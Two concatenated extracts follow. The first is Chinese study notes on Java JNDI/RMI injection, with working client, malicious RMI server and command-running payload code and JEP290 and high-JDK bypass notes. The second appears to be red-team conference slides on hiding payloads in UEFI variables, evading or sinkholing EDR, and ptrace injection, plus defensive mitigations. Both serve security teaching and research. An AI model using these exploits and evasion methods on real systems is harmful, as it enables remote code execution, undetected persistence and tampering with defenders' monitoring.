外部的远程对象(当前名称⽬录系统之外的对象)。绑定了Reference之后,服务端会先通过 Referenceable.getReference()获取绑定对象的引⽤,并且在⽬录中保存。当客户端在lookup() 查找这个远程对象时,客户端会获取相应的object factory,最终通过factory类将reference转 换为具体的对象实例。 整个利⽤流程如下: 1. ⽬标代码中调⽤了InitialContext.lookup(URI),且URI为⽤户可控; 2. 攻击者控制URI参数为恶意的RMI服务(⾥⾯包含了恶意class的http地址),如: rmi://hacker_rmi_server//name; 3. 攻击者RMI服务器向⽬标返回⼀个Reference对象,Reference对象中指定某个精⼼构造的 Factory类; 4. ⽬标在进⾏lookup()操作时,会动态加载并实例化Factory类,接着调⽤ factory.getObjectInstance()获取外部远程对象实例; 攻击者可以在Factory类⽂件的构造⽅法、静态代码块、getObjectInstance()⽅法等处写⼊恶意 代码,达到RCE的效果; ClIENT.java(受害者) SERVER.java(攻击者部署) Context ctx = new InitialContext(env); 5 Object local_obj = ctx.lookup("rmi://kingx_kali:8080/test"); 6 package jndi注入; 1 import javax.naming.Context; 2 import javax.naming.InitialContext; 3 4 public class CLIENT { 5 6 public static void main(String[] args) throws Exception { 7 8 String uri = "rmi://127.0.0.1:1099/aa"; 9 Context ctx = new InitialContext(); 10 ctx.lookup(uri); 11 12 } 13 14 } 15 package jndi注入; 1 2 import com.sun.jndi.rmi.registry.ReferenceWrapper; 3 import javax.naming.Reference; 4 ExecTest.java(攻击者部署) import java.rmi.registry.Registry; 5 import java.rmi.registry.LocateRegistry; 6 7 public class SERVER { 8 9 public static void main(String args[]) throws Exception { 10 11 Registry registry = LocateRegistry.createRegistry(1099); 12 Reference aa = new Reference("ExecTest", "ExecTest", "http://127.0.0.1:8081/"); 13 ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa); 14 System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/aa'"); 15 registry.bind("aa", refObjWrapper); 16 17 } 18 19 } 20 import java.io.BufferedReader; 1 import java.io.IOException; 2 import java.io.InputStream; 3 import java.io.InputStreamReader; 4 import java.io.Reader; 5 import javax.print.attribute.standard.PrinterMessageFromOperator; 6 public class ExecTest { 7 public ExecTest() throws IOException,InterruptedException{ 8 String cmd="whoami"; 9 final Process process = Runtime.getRuntime().exec(cmd); 10 printMessage(process.getInputStream());; 11 printMessage(process.getErrorStream()); 12 int value=process.waitFor(); 13 System.out.println(value); 14 } 15 16 private static void printMessage(final InputStream input) { 17 // TODO Auto-generated method stub 18 new Thread (new Runnable() { 19 @Override 20 public void run() { 21 // TODO Auto-generated method stub 22 Reader reader =new InputStreamReader(input); 23 BufferedReader bf = new BufferedReader(reader); 24 String line = null; 25 try { 26 while ((line=bf.readLine())!=null) 27 { 28 System.out.println(line); 29 编译成class⽂件:javac ExecTest.java 部署在web服务上:py -3 -m http.server 8081 运⾏SERVER 运⾏CLIENT 整体调⽤栈如下: InitialContext.java } 30 }catch (IOException e){ 31 e.printStackTrace(); 32 } 33 } 34 }).start(); 35 } 36 } 37 public Object lookup(String name) throws NamingException { 1 //getURLOrDefaultInitCtx函数会分析name的协议头返回对应协议的环境对象, 此处返回Context对象的子类rmiURLContext对象 2 RegistryContext.java: //然后在对应协议中去lookup搜索,我们进入lookup函数 3 return getURLOrDefaultInitCtx(name).lookup(name); 4 } 5 GenericURLContext.java 6 //var1="rmi://127.0.0.1:1099/aa" 7 public Object lookup(String var1) throws NamingException { 8 //此处this为rmiURLContext类调用对应类的getRootURLContext类为解析RMI地址 9 //不同协议调用这个函数,根据之前getURLOrDefaultInitCtx(name)返回对象的类型不 同,执行不同的getRootURLContext 10 //进入不同的协议路线 11 ResolveResult var2 = this.getRootURLContext(var1, this.myEnv);//获取 RMI注册中心相关数据 12 Context var3 = (Context)var2.getResolvedObj();//获取注册中心对象 13 14 Object var4; 15 try { 16 var4 = var3.lookup(var2.getRemainingName());//去注册中心调用lookup查 找,我们进入此处,传入name-aa 17 } finally { 18 var3.close(); 19 } 20 21 return var4; 22 } 23 //传入var1=aa 1 public Object lookup(Name var1) throws NamingException { 2 if (var1.isEmpty()) { 3 return new RegistryContext(this); 4 } else {//判断来到这里 5 Remote var2; 6 try { 7 var2 = this.registry.lookup(var1.get(0));//RMI客户端与注册中心通 讯,返回RMI服务IP,地址等信息 8 } catch (NotBoundException var4) { 9 throw new NameNotFoundException(var1.get(0)); 10 } catch (RemoteException var5) { 11 throw (NamingException)wrapRemoteException(var5).fillInStackTrace(); 12 } 13 14 return this.decodeObject(var2, var1.getPrefix(1));//我们进入此处 15 RegistryContext.java: } 16 } 17 private Object decodeObject(Remote var1, Name var2) throws NamingException { 1 try { 2 //注意到上面的服务端代码,我们在RMI服务端绑定的是一个Reference对象, 世界线在这里变动 3 //如果是Reference对象会,进入var.getReference(),与RMI服务器进行一 次连接,获取到远程class文件地址。 4 //如果是普通RMI对象服务,这里不会进行连接,只有在正式远程函数调用的时 候才会连接RMI服务。 5 Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1; 6 return NamingManager.getObjectInstance(var3, var2, this, this.environment); 7 //获取reference对象进入此处 8 } catch (NamingException var5) { 9 throw var5; 10 } catch (RemoteException var6) { 11 throw (NamingException)wrapRemoteException(var6).fillInStackTrace(); 12 } catch (Exception var7) { 13 NamingException var4 = new NamingException(); 14 var4.setRootCause(var7); 15 throw var4; 16 } 17 } 18 } 19 NamingManager.java 截取部分有⽤的代码 //传入Reference对象到refinfo 1 public static Object 2 getObjectInstance(Object refInfo, Name name, Context nameCtx, 3 Hashtable<?,?> environment) 4 throws Exception 5 { 6 // Use builder if installed 7 ... 8 // Use reference if possible 9 Reference ref = null; 10 if (refInfo instanceof Reference) {//满足 11 ref = (Reference) refInfo;//复制 12 } else if (refInfo instanceof Referenceable) {//不进入 13 ref = ((Referenceable)(refInfo)).getReference(); 14 } 15 16 Object answer; 17 18 if (ref != null) {//进入此处 19 NamingManager.java String f = ref.getFactoryClassName();//函数名 ExecTest 20 if (f != null) { 21 //任意命令执行点1(构造函数、静态代码),进入此处 22 factory = getObjectFactoryFromReference(ref, f); 23 if (factory != null) { 24 //任意命令执行点2(覆写getObjectInstance), 25 return factory.getObjectInstance(ref, name, nameCtx, 26 environment); 27 } 28 return refInfo; 29 30 } else { 31 // if reference has no factory, check for addresses 32 // containing URLs 33 34 answer = processURLAddrs(ref, name, nameCtx, environment); 35 if (answer != null) { 36 return answer; 37 } 38 } 39 } 40 static ObjectFactory getObjectFactoryFromReference( 1 Reference ref, String factoryName) 2 throws IllegalAccessException, 3 InstantiationException, 4 MalformedURLException { 5 Class clas = null; 6 7 //尝试从本地获取该class 8 try { 9 clas = helper.loadClass(factoryName); 10 } catch (ClassNotFoundException e) { 11 // ignore and continue 12 // e.printStackTrace(); 13 } 14 //如果不在本地classpath,从cosebase中获取class 15 String codebase; 16 if (clas == null && 17 (codebase = ref.getFactoryClassLocation()) != null) { 18 //此处codebase是我们在恶意RMI服务端中定义的http://127.0.0.1:8081/ 19 try { 20 //从我们放置恶意class文件的web服务器中获取class文件 21 clas = helper.loadClass(factoryName, codebase); 22 } catch (ClassNotFoundException e) { 23 } 24 } 25 //实例化我们的恶意class文件 26 实例化会默认调⽤构造⽅法、静态代码块。 上⾯的例⼦就是调⽤了构造⽅法完成任意代码执⾏。 六、Weblogic 关于JRMP⼀系列绕过 最后到从CVE-2017-3248到CVE-2018-3245 3245RemoteObject类的⼦类都可以 七、JEP290 built-in filters 内置过滤器 专⻔⽤于RMI,现在习惯⽤ Distributed Garbage Collection (DGC)  jdk 9 也引进了⼀个内置的过滤器,配置这个过滤器主要⽤于RMI和DGC 。RMI Registry 和 DGC的内置过滤器是⽩名单的形式,⽩名单包含了服务器能够执⾏的类。 JEP290中对RMI设置了默认的过滤器(sun.rmi.registry.RegistryImpl#registryFilter) 1.JDK8u231 bypass https://cert.360.cn/report/detail?id=add23f0eafd94923a1fa116a76dee0a1 想要在RMI中Bypass JEP290的限制,思路很明确,我们需要从上⾯⽩名单的类或者他们的⼦ 类中寻找复写readObject利⽤点 yso中的JRMPClient是⾃动bypass了jep290 https://paper.seebug.org/1251/#bypass-jep290-rmi 绕过调⽤栈 可以看到有两个reobject return (clas != null) ? (ObjectFactory) clas.newInstance() : null; 27 } 28 2.利⽤本地类突破JDK⾼版本限制进⾏JNDI注⼊ 在⾼版本中(如:JDK8u191以上版本)虽然不能从远程加载恶意的Factory,但是我们依然可 以在返回的Reference中指定Factory Class,这个⼯⼚类必须在受害⽬标本地的CLASSPATH 中。⼯⼚类必须实现 javax.naming.spi.ObjectFactory 接⼝,并且⾄少存在⼀个 getObjectInstance() ⽅法。org.apache.naming.factory.BeanFactory 刚好满⾜条件并且存在 被利⽤的可能。org.apache.naming.factory.BeanFactory 存在于Tomcat依赖包中,所以使⽤ 也是⾮常⼴泛。 Tomcat ----> javax.el.ELProcessor IBM WebSphere ----> com.ibm.ws.webservices.engine.client.ServiceFactory || com.ibm.ws.client.applicationclient.ClientJ2CCFFactory https://www.jianshu.com/p/1f97328a104f https://www.veracode.com/blog/research/exploiting-jndi-injections-java 3.利用LDAP返回序列化数据,触发本地Gadget LDAP Server除了使⽤JNDI Reference进⾏利⽤之外,还⽀持直接返回⼀个对象的序列化数 据。如果Java对象的 javaSerializedData 属性值不为空,则客户端的 obj.decodeObject() ⽅法 就会对这个字段的内容进⾏反序列化。LDAP Server除了使⽤JNDI Reference进⾏利⽤之外, 还⽀持直接返回⼀个对象的序列化数据。如果Java对象的 javaSerializedData 属性值不为空, 则客户端的 obj.decodeObject() ⽅法就会对这个字段的内容进⾏反序列化。 需要利⽤⼀个本地的反序列化利⽤链(如CommonsCollections),然后可以结合Fastjson等漏 洞⼊⼝点和JdbcRowSetImpl进⾏组合利⽤ https://paper.seebug.org/942/#classreference-factory https://github.com/kxcode/JNDI-Exploit-Bypass-Demo ⼋、⼀些协议的区分 https://blog.knownsec.com/2019/12/java-%E4%B8%AD-rmi%E3%80%81jndi%E3%8 0%81ldap%E3%80%81jrmp%E3%80%81jmx%E3%80%81jms%E9%82%A3%E4%BA% 9B%E4%BA%8B%E5%84%BF%EF%BC%88%E4%B8%8A%EF%BC%89/ RMI、JRMP、JNDI readObject:431, ObjectInputStream (java.io) 1 executeCall:252, StreamRemoteCall (sun.rmi.transport) 2 invoke:161, UnicastRef (sun.rmi.server) 3 invokeRemoteMethod:227, RemoteObjectInvocationHandler (java.rmi.server) 4 invoke:179, RemoteObjectInvocationHandler (java.rmi.server) 5 createServerSocket:-1, $Proxy0 (com.sun.proxy) 6 newServerSocket:666, TCPEndpoint (sun.rmi.transport.tcp) 7 listen:335, TCPTransport (sun.rmi.transport.tcp) 8 exportObject:254, TCPTransport (sun.rmi.transport.tcp) 9 ... 10 exportObject:346, UnicastRemoteObject (java.rmi.server) 11 reexport:268, UnicastRemoteObject (java.rmi.server) 12 readObject:235, UnicastRemoteObject (java.rmi.server) 13 Java远程⽅法调⽤,即Java RMI(Java Remote Method Invocation)是Java编程语⾔⾥,⼀ 种⽤于实现远程过程调⽤的应⽤程序编程接⼝。它使客户机上运⾏的程序可以调⽤远程服务器上 的对象。远程⽅法调⽤特性使Java编程⼈员能够在⽹络环境中分布操作。RMI全部的宗旨就是尽 可能简化远程接⼝对象的使⽤。 Java远程⽅法协议(英语:Java Remote Method Protocol,JRMP)是特定于Java技术的、 ⽤于查找和引⽤远程对象的协议。这是运⾏在Java远程⽅法调⽤(RMI)之下、TCP/IP之上的 线路层协议(英语:Wire protocol)。 Java命名和⽬录接⼝(Java Naming and Directory Interface,缩写JNDI),是Java的⼀个⽬ 录服务应⽤程序接⼝(API),它提供⼀个⽬录系统,并将服务名称与对象关联起来,从⽽使得 开发⼈员在开发过程中可以使⽤名称来访问对象。 ⽬前基于 JNDI 实现的⼏本为 rmi 与 ldap 的⽬录服务系统,构建 rmi 、ldap ⽐较常⽤的的⼯ 具有 marshalsec 、ysoserial。 更多信息建议查阅Java 中 RMI、JNDI、LDAP、JRMP、JMX、JMS那些事⼉(上)。 WebLogic RMI WebLogic RMI是服务器框架的组成部分。它使Java客户端可以透明地访问WebLogic Server上 的RMI对象,这包括访问任何已部署到WebLogic的EJB组件和其他J2EE资源,它可以构建快 速、可靠、符合标准的RMI应⽤程序。当RMI对象部署到WebLogic群集时,它还集成了对负载 平衡和故障转移的⽀持。WebLogic RMI与Java RMI规范完全兼容,上⾯提到的动态加载加载功 能也是具有的,同时还提供了在标准Java RMI实现下更多的功能与扩展。 ORB与GIOP、IIOP ORB全称(Object Request Broker)对象请求代理。ORB是⼀个中间件,他在对象间建⽴⼀个 CS关系,或者更简单点来说,就是⼀个代理。客户端可以很简单的通过这个媒介使⽤服务器对 象的⽅法⽽不需要关注服务器对象是在同⼀台机器上还是通过远程⽹络调⽤的。ORB截获调⽤ 后负责找到⼀个对象以满⾜该请求。 GIOP全称(General Inter-ORB Protocol)通⽤对象请求协议,其功能简单来说就是CORBA⽤ 来进⾏数据传输的协议。GIOP针对不同的通信层有不同的具体实现,⽽针对于TCP/IP层,其实 现名为IIOP(Internet Inter-ORB Protocol)。所以说通过TCP协议传输的GIOP数据可以称为 IIOP。 ⽽ORB与GIOP的关系是GIOP起初就是为了满⾜ORB间的通信的协议。所以也可以说ORB是 CORBA通信的媒介。 CORBA CORBA全称(Common ObjectRequest Broker Architecture)也就是公共对象请求代理体系 结构,是OMG(对象管理组织)制定的⼀种标准的⾯向对象应⽤程序体系规范。其提出是为了 解决不同应⽤程序间的通信,曾是分布式计算的主流技术。 ⼀般来说CORBA将其结构分为三部分,为了准确的表述,我将⽤其原本的英⽂名来进⾏表述: naming service client side servant side 这三部分组成了CORBA结构的基础三元素,⽽通信过程也是在这三⽅间完成的。我们知道 CORBA是⼀个基于⽹络的架构,所以以上三者可以被部署在不同的位置。servant side 可以理 解为⼀个接收 client side 请求的服务端;naming service 对于 servant side 来说⽤于服务⽅注 册其提供的服务,对于 client side 来说客户端将从 naming service 来获取服务⽅的信息。这 个关系可以简单的理解成⽬录与章节具体内容的关系:⽬录即为 naming service,servant side 可以理解为具体的内容,内容需要⾸先在⽬录⾥⾯进⾏注册,这样当⽤户想要访问具体内 容时只需要⾸先在⽬录中查找到具体内容所注册的引⽤(通常为⻚数),这样就可以利⽤这个引 ⽤快速的找到章节具体的内容。 九、RMI回显  利⽤漏洞点调⽤ClassLoader的defineClass⽅法  写⼊类:defineClass在⽬标服务器运⾏返回我们构造的类(已经写好的RMI接⼝类)  绑定类:将RMI接⼝类绑定到⽬标服务器,也就是将我们构造的恶意类注册到rmi注册中⼼  攻击者本地远程调⽤⽅法获取回显结果 ⼗、杂 为什么Fastjson 的利⽤都跟jndi 注⼊有关?JNDI注⼊在原⽣得反序列化⾥有么? com.sun.rowset.JdbcRowSetImpl类的execute()也可以触发JNDI注⼊利⽤,调⽤过程 如下:  -> JdbcRowSetImpl.execute()  -> JdbcRowSetImpl.prepare()  -> JdbcRowSetImpl.connect()  -> InitialContext.lookup(dataSource)
pdf
EDR Is Coming; Hide yo Sh!t @TTimzen @r00tkillah Who are we? Michael “@r00tkillah” Leibowitz Topher Timzen (@TTimzen) NSA Playset C# Malware is <3 Principle Troublemaker Principal Vulnerability Enthusiast RED TEAM ! ! ! ! Agenda ● What is EDR and why do we care? ● UEFI security and variables overview ● Windows platform hijinks with demo ● Linux platform hijinks with demo ● What does this all mean? ● Mitigations and Recommendations ● Future work ● Conclusions EDR Enterprise Detection and Response (EDR) Defensive tooling that focuses on detecting, investigating and mitigating suspicious activities on hosts and endpoints. Provides Blue Team a hunt capability Alerts mapped to MITRE ATT&CK via a SIEM or EDR directly CrowdStrike and Carbon Black are big players in this space MITRE ATT&CK - https://attack.mitre.org/ Knowledge base of adversary tactics and techniques based on real-world observation - Tactics, Techniques, Procedures (TTP) Enterprise Detection and Response (EDR) Tuned for processes, commands and API Calls ● cmd.exe /c ● powershell.exe ● Registry modifications ● Scheduled Tasks All of these mapped to MITRE TTPs The Other Risk Curve Time -> Likelihood of Detection Initial shell popped Persistence phase starts Result of EDR Analyst You The Other Risk Curve (Modified) Time -> Likelihood of Detection Initial shell popped Persistence phase starts UEFI Unified Extensible Firmware Interface (UEFI) Trusted Platforms UEFI, PI and TCG-based firmware (Zimmer, Dasari, & Brogan, 2009, p. 16) But Why UEFI Firmware Variables? Hides payload from AV, and EDR, and requires memory forensics to investigate EDR platform getting your reader binary doesn’t mean anything Tons of places to hide there! ● Test0 E660597E-B94D-4209-9C80-1805B5D19B69 NV+BS+RT ● Test1 E660597E-B94D-4209-9C80-1805B5D19B69 NV+BS+RT UEFI Firmware Variables Authenticated ● Secure boot nonsense (PK, KEK, db/dbx) ● Performs a certificate check when writing variable Unauthenticated ● No verification on write ● Majority of variables are unauthenticated UEFI Firmware Variable Attributes UEFI specification defines variable attributes can be ● Non-volatile (NV) ● Boot services access (BS) ● Runtime access (RT) ● Hardware error record (HR) ● Count based authenticated write access ● Time based authenticated write access (AT) Windows Platform UEFI On Windows “Starting with Windows 10, version 1803, Universal Windows apps can use GetFirmwareEnvironmentVariable and SetFirmwareEnvironmentVariable (and their 'ex' variants) to access UEFI firmware variables” SE_SYSTEM_ENVIRONMENT_NAME privilege Is required to Read/Write Administration account with Universal Windows App “required” https://docs.microsoft.com/en-us/windows/desktop/sysinfo/access-uefi-firmware-variables-from-a-universal-windows-app Read/Write UEFI Firmware Variable API dwAttributes Value Meaning VARIABLE_ATTRIBUTE_NON_VOLATILE 0x00000001 The firmware environment variable is stored in non-volatile memory (e.g. NVRAM). VARIABLE_ATTRIBUTE_BOOTSERVICE_ACCE SS 0x00000002 The firmware environment variable can be accessed during boot service. VARIABLE_ATTRIBUTE_RUNTIME_ACCESS 0x00000004 The firmware environment variable can be accessed at runtime. Note: Variables with this attribute set, must also have VARIABLE_ATTRIBUTE_BOOTSERVICE_ACCE SS set. C++ [&& or ||] C# C++ is a viable option and was the initial language used, however ● Too many API calls to Virtual* ○ Requires RWX memory to be present for execution ○ EDR and AV see these API calls ○ C# can do everything needed with Reflection ● More difficult to bypass WDAC ● C# Allows for easy use of Cobalt Strike + Powerpick ● Reference code available in repo for both Steps for Writing UEFI variable 1. Obtain SE_SYSTEM_ENVIRONMENT_NAME with SetPriv() 2. Get address of a pinned buffer in C# (payload) 3. Write to UEFI variable with SetFirmwareEnvironmentVariableEx() Steps for Writing UEFI variable 1. Obtain SE_SYSTEM_ENVIRONMENT_NAME with SetPriv() Steps for Writing UEFI variable 2. Get address of a pinned buffer in C# (payload) Steps for Writing UEFI variable 3. Write to UEFI variable with SetFirmwareEnvironmentVariableEx() Steps for Executing UEFI variable 1. Obtain SE_SYSTEM_ENVIRONMENT_NAME with SetPriv() 2. P/Invoke with Virtual(Alloc, Protect) to obtain RWX Memory 3. Obtain UEFI variable payload with GetFirmwareEnvironmentVariableEx() Steps for Reading UEFI variable 1. Obtain SE_SYSTEM_ENVIRONMENT_NAME with SetPriv() Steps for Executing UEFI variable 2. P/Invoke with Virtual(Alloc, Protect) to obtain RWX Memory C# and P/Invoke Virtual(Alloc, Protect) API Calls https://www.hybrid-analysis.com/sample/5aba178a512ae2c1c5afccf113c6dc0f80c 47fdeee294781483b8aa07002cf39/5c74860b028838095154dad0 C# and P/Invoke, No No Steps for Executing UEFI variable 1. Obtain SE_SYSTEM_ENVIRONMENT_NAME with SetPriv() 2. P/Invoke RWX Memory 3. Obtain UEFI variable payload with GetFirmwareEnvironmentVariableEx() Steps for Executing UEFI variable to Evade EDR and AV 1. Obtain SE_SYSTEM_ENVIRONMENT_NAME with SetPriv() 2. Reflectively obtain RWX JIT memory page to read UEFI variable into 3. Write UEFI variable payload to method ptr with GetFirmwareEnvironmentVariableEx() 4. Execute method C# with Reflection for Method Ptr Overwrite to Execute https://www.tophertimzen.com/blog/dotNetMachineCodeManipulation/ Method Table contains address of JIT stub for a class’s methods. During JIT the Method Table is referenced Grab Method Ptr as RWX memory location and overwrite it! C# with Reflection for Method Ptr Overwrite to Execute https://www.tophertimzen.com/blog/dotNetMachineCodeManipulation/ 2. Reflectively obtain RWX JIT memory page to read UEFI variable into A. Define a method to overwrite B. JIT the method C. Obtain ptr to method C# with Reflection for Method Ptr Overwrite to Execute https://www.tophertimzen.com/blog/dotNetMachineCodeManipulation/ A. Define a method to overwrite C# with Reflection for Method Ptr Overwrite to Execute https://www.tophertimzen.com/blog/dotNetMachineCodeManipulation/ B. JIT the method C. Obtain ptr to method C# with Reflection for Method Ptr Overwrite to Execute https://www.tophertimzen.com/blog/dotNetMachineCodeManipulation/ 3. Write UEFI variable payload to method ptr with GetFirmwareEnvironmentVariableEx() 4. Execute method Steps for Infection (Demo) 1. Obtain shell on target 2. Run WriteUEFICSharp 3. Set persistence for ReadUEFICSharp 4. Run ReadUEFICSharp Windows Demo Persistence? Exercise up to the reader WDAC Bypasses are a good means to persist with unsigned code Your payload is in a UEFI variable, GLHF Analyst! What About Windows EDR Products? We saw no relevant information in EDR pertaining to the usage of UEFI variables Startup events are seen without rootkit, but no malicious activity reported ● AV is clean ● No Virtual* API Calls Sinkhole your EDR https://gist.github.com/tophertimzen/235fbfdf6b2e3cdf255dccb763fdd805 WDAC Bypasses There has been a lot of research on bypassing WDAC and Windows Universal Apps - https://posts.specterops.io/arbitrary-unsigned-code-execution-v ector-in-microsoft-workflow-compiler-exe-3d9294bc5efb - https://bohops.com/2019/01/10/com-xsl-transformation-bypassi ng-microsoft-application-control-solutions-cve-2018-8492/ Singed Code is not a proper mitigation currently in Windows 10 Linux Platform The Problem Space The Kernel Your Sample EDR Envisioning The Solution The Kernel Your Payload EDR Linux Boot Flow UEFI Signed by OEM Linux Boot Flow UEFI shim Signed by MSFT Signed by OEM Linux Boot Flow UEFI shim grub Signed by distro Signed by MSFT Signed by OEM Linux Boot Flow UEFI shim grub linux Signed by distro Signed by MSFT Signed by OEM Linux Boot Flow UEFI shim grub linux Signed by distro Signed by MSFT Signed by OEM Unsigned and generated on system ramdisk Linux Boot Flow UEFI shim grub linux Signed by distro Signed by MSFT Signed by OEM Unsigned and generated on system ramdisk EDR ptrace, Man! man (2) ptrace + PTRACE_SETREGS + PTRACE_PEEKTEXT, PTRACE_PEEKDATA + PTRACE_POKETEXT, PTRACE_POKEDATA - YAMA - SELinux/AppArmor/SMACK/TOMOYO/etc + Policy applied in userspace!! Boot Flow, Continued 1 Ramdisk land Boot Flow, Continued 1 1 exec Ramdisk land Rootfs land Boot Flow, Continued 1 1 exec Ramdisk land Rootfs land EDR Policy load fanotify, man! man (7) fanotify DESCRIPTION The fanotify API provides notification and interception of filesystem events. Use cases include virus scanning and hierarchical storage management. memfd_create, man! man (2) memfd_create DESCRIPTION memfd_create() creates an anonymous file and returns a file descriptor that refers to it. The file behaves like a regular file … … it lives in RAM and has a volatile backing storage. PR_SET_TIMERSLACK Since Linux 4.6, the "current" timer slack value of any process can be examined and changed via the file /proc/[pid]/timerslack_ns. See proc(5). CONFIG_EFI_VARS config EFI_VARS If you say Y here, you are able to get EFI (Extensible Firmware Interface) variable information via sysfs. You may read, write, create, and destroy EFI variables through this interface. Surviving MS_MOVE 1. Poll on /proc/self/mounts 2. Sleep while initramfs finishes and init starts 3. Create a new mount namespace 4. Mount proc (it's not in initramfs) 5. Set mount namespace to init's namespace through setns 6. chroot(“/proc/1/root”) 7. chdir(“.”) 8. chroot(“/”) Boot Flow, Modified 1 exec Ramdisk land fork UEFI Boot Flow, Modified 1 exec Ramdisk land fork UEFI open Boot Flow, Modified 1 1 exec Ramdisk land Rootfs land fork UEFI Boot Flow, Modified 1 1 exec Ramdisk land Rootfs land fork UEFI Boot Flow, Modified 1 1 exec Ramdisk land Rootfs land fork STOP UEFI Boot Flow, Modified 1 1 exec Ramdisk land Rootfs land fork ptrace UEFI Ptrace 0x7fa413d56ba2 <epoll_wait+66>: mov %r13d,%r10d 0x7fa413d56ba5 <epoll_wait+69>: mov %eax,%r8d 0x7fa413d56ba8 <epoll_wait+72>: mov %r12d,%edx 0x7fa413d56bab <epoll_wait+75>: mov %rbp,%rsi 0x7fa413d56bae <epoll_wait+78>: mov %ebx,%edi 0x7fa413d56bb0 <epoll_wait+80>: mov $0xe8,%eax 0x7fa413d56bb5 <epoll_wait+85>: syscall => 0x7fa413d56bb7 <epoll_wait+87>: cmp $0xfffffffffffff000,%rax 0x7fa413d56bbd <epoll_wait+93>: ja 0x7fa413d56bf2 Ptrace 0x7fa413d56ba2 <epoll_wait+66>: mov %r13d,%r10d 0x7fa413d56ba5 <epoll_wait+69>: mov %eax,%r8d 0x7fa413d56ba8 <epoll_wait+72>: mov %r12d,%edx 0x7fa413d56bab <epoll_wait+75>: mov %rbp,%rsi 0x7fa413d56bae <epoll_wait+78>: mov %ebx,%edi 0x7fa413d56bb0 <epoll_wait+80>: mov $0xe8,%eax => 0x7fa413d56bb5 <epoll_wait+85>: syscall 0x7fa413d56bb7 <epoll_wait+87>: cmp $0xfffffffffffff000,%rax 0x7fa413d56bbd <epoll_wait+93>: ja 0x7fa413d56bf2 eax: 0x13f (memfd_create) Ptrace 0x7fa413d56ba2 <epoll_wait+66>: mov %r13d,%r10d 0x7fa413d56ba5 <epoll_wait+69>: mov %eax,%r8d 0x7fa413d56ba8 <epoll_wait+72>: mov %r12d,%edx 0x7fa413d56bab <epoll_wait+75>: mov %rbp,%rsi 0x7fa413d56bae <epoll_wait+78>: mov %ebx,%edi 0x7fa413d56bb0 <epoll_wait+80>: mov $0xe8,%eax => 0x7fa413d56bb5 <epoll_wait+85>: syscall 0x7fa413d56bb7 <epoll_wait+87>: cmp $0xfffffffffffff000,%rax 0x7fa413d56bbd <epoll_wait+93>: ja 0x7fa413d56bf2 eax: 0x13f (memfd_create) .ELF............ Ptrace 0x7fa413d56ba2 <epoll_wait+66>: mov %r13d,%r10d 0x7fa413d56ba5 <epoll_wait+69>: mov %eax,%r8d 0x7fa413d56ba8 <epoll_wait+72>: mov %r12d,%edx 0x7fa413d56bab <epoll_wait+75>: mov %rbp,%rsi 0x7fa413d56bae <epoll_wait+78>: mov %ebx,%edi 0x7fa413d56bb0 <epoll_wait+80>: mov $0xe8,%eax => 0x7fa413d56bb5 <epoll_wait+85>: syscall 0x7fa413d56bb7 <epoll_wait+87>: cmp $0xfffffffffffff000,%rax 0x7fa413d56bbd <epoll_wait+93>: ja 0x7fa413d56bf2 eax: 0x9 (mmap) 0x90 0x90 0x90 0x90 0x90 .ELF............ Ptrace 0x7fa413d56ba2 <epoll_wait+66>: mov %r13d,%r10d 0x7fa413d56ba5 <epoll_wait+69>: mov %eax,%r8d 0x7fa413d56ba8 <epoll_wait+72>: mov %r12d,%edx 0x7fa413d56bab <epoll_wait+75>: mov %rbp,%rsi 0x7fa413d56bae <epoll_wait+78>: mov %ebx,%edi 0x7fa413d56bb0 <epoll_wait+80>: mov $0xe8,%eax 0x7fa413d56bb5 <epoll_wait+85>: syscall 0x7fa413d56bb7 <epoll_wait+87>: cmp $0xfffffffffffff000,%rax 0x7fa413d56bbd <epoll_wait+93>: ja 0x7fa413d56bf2 eax: 0x9 (mmap) => 0x90 0x90 0x90 0x90 0x90 .ELF............ ret2libc (dlopen) Ptrace 0x7fa413d56ba2 <epoll_wait+66>: mov %r13d,%r10d 0x7fa413d56ba5 <epoll_wait+69>: mov %eax,%r8d 0x7fa413d56ba8 <epoll_wait+72>: mov %r12d,%edx 0x7fa413d56bab <epoll_wait+75>: mov %rbp,%rsi 0x7fa413d56bae <epoll_wait+78>: mov %ebx,%edi 0x7fa413d56bb0 <epoll_wait+80>: mov $0xe8,%eax 0x7fa413d56bb5 <epoll_wait+85>: syscall => 0x7fa413d56bb7 <epoll_wait+87>: cmp $0xfffffffffffff000,%rax 0x7fa413d56bbd <epoll_wait+93>: ja 0x7fa413d56bf2 eax: 0x9 (mmap) 0x90 0x90 0x90 0x90 0x90 .ELF............ ret Boot Flow, Modified 1 1 exec Ramdisk land Rootfs land fork CONT UEFI Boot Flow, Modified 1 1 exec Ramdisk land Rootfs land fork UEFI Linux Demo 1. See noise in auditd of exploiting enterprise_tool 2. Install implant into UEFI and ramdisk 3. Reboot 4. Set timerslack marker 5. Exploit enterprise_tool 6. See no output in log 7. Show policy in place 8. Show variable Linux Demo What does this all mean? Net Happiness Increase You Analyst Mitigations and Recommendations Mitigations and Recommendations Monitor and Audit UEFI variables across your organizations fleet EDR Should detect UEFI APIs ● It is not common for apps to Set/Get Firmware Variables ● NV+BS+RT Variables are suspicious if created after installation of platform Mitigations and Recommendations EDR Tamper Resistance is not effective ● Sinkholing or killing the sensor usually does not give alerts ● Vendors need to work on securing their processes ○ Alert on sinkhole ○ Do not allow ptrace Stop assembling ramdisks on systems! Closing and the Rest Future Work Look into hiding inside of UEFI Configuration Storage Analyze more EDR products and how they handle UEFI variables Use these techniques in more Red Team engagements to increase defender efficacy Look at more platforms for their usage of UEFI variables ● More places to hide Closing Have yourself a uefi.party and plunder away your loot! Sucker punch that pesky EDR! GitHub Repo at https://github.com/perturbed-platypus References https://redcanary.com/blog/detecting-all-the-things-with-limited-data/ https://countercept.com/blog/av-bypass-techniques-through-an-edr-lens/ https://github.com/rrbranco/BlackHat2017/blob/master/BlackHat2017-BlackBIOS-v0.13-Published.pdf https://github.com/emptymonkey/ptrace_do https://github.com/eklitzke/ptrace-call-userspace https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html References for MITRE TTPs Tuned for processes, commands and API Calls ● cmd.exe /c ○ https://attack.mitre.org/techniques/T1059/ ● powershell.exe ○ https://attack.mitre.org/techniques/T1086/ ● Registry modifications ○ https://attack.mitre.org/techniques/T1112/ ● Scheduled Tasks ○ https://attack.mitre.org/techniques/T1053/ EOF
pdf
